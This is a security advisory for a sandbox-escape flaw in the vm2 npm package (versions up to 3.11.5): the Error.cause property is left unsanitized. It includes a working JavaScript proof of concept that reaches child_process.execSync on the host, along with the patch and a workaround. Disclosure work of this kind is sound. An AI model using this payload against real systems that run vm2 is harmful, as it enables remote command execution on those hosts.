critical · 9.9CVE-2026-47686Aug 17, 2026

CVE-2026-47686: vm2 Missing Error.cause Sanitization Sandbox Escape to RCE

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A missing sanitization step in vm2's exception handler lets sandboxed code read an unscrubbed host object out of a thrown error's .cause property, giving an attacker full shell access on the host.

Packagevm2
Ecosystemnpm
Affected<= 3.11.5
Fixed in3.11.6
CVE-2026-47686: vm2 Missing Error.cause Sanitization Sandbox Escape to RCE

The problem

vm2's handleException() function in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but never inspects the ES2022 Error.cause property. Any error type that is not one of those two falls through to a bare return e at line 958, with .cause untouched.

When an embedder-exposed host function throws new Error('msg', { cause: process }), the caught error inside the sandbox carries a live, unsanitized reference to the host process object. From there, reaching child_process.execSync is trivial. Error chaining with .cause is standard modern Node.js practice, so the prerequisite is common in real codebases.

Proof of concept

A working proof-of-concept for CVE-2026-47686 in vm2, with the exact payload below.

javascript
// Embedder setup
const { VM } = require('vm2');

const vm = new VM({
    sandbox: {
        hostFn: () => {
            throw new Error('fail', { cause: process });
        }
    }
});

// Sandbox code (attacker-controlled)
const result = vm.run(`
    try {
        hostFn();
    } catch (e) {
        const proc = e.cause;   // unsanitized host process reference
        proc.mainModule.require('child_process').execSync('id').toString();
    }
`);

console.log(result);
// uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),...

The root cause is CWE-693 (Protection Mechanism Failure). handleException was extended to cover SuppressedError and AggregateError sub-errors, but the ES2022 .cause property was never added to that walk. It applies to every error type, yet the code only handles the two named constructors and returns everything else unsanitized.

The patch adds a 'cause' in e check at the top of handleException, before the prototype-chain walk, so .cause is recursively sanitized on all error types. docs/ATTACKS.md Defense Invariant #3, which falsely claimed .cause was already covered, is also corrected in the same release.

The fix

Upgrade vm2 to 3.11.6. The fix adds if ('cause' in e) { e.cause = handleException(e.cause, visited); } at the start of handleException, covering all error types before the SuppressedError / AggregateError branch. If you cannot upgrade immediately, audit every host-exposed function and ensure none throw errors with .cause set to a host object.

Reported by vladimir.tokarev.

References: [1][2][3]

Related research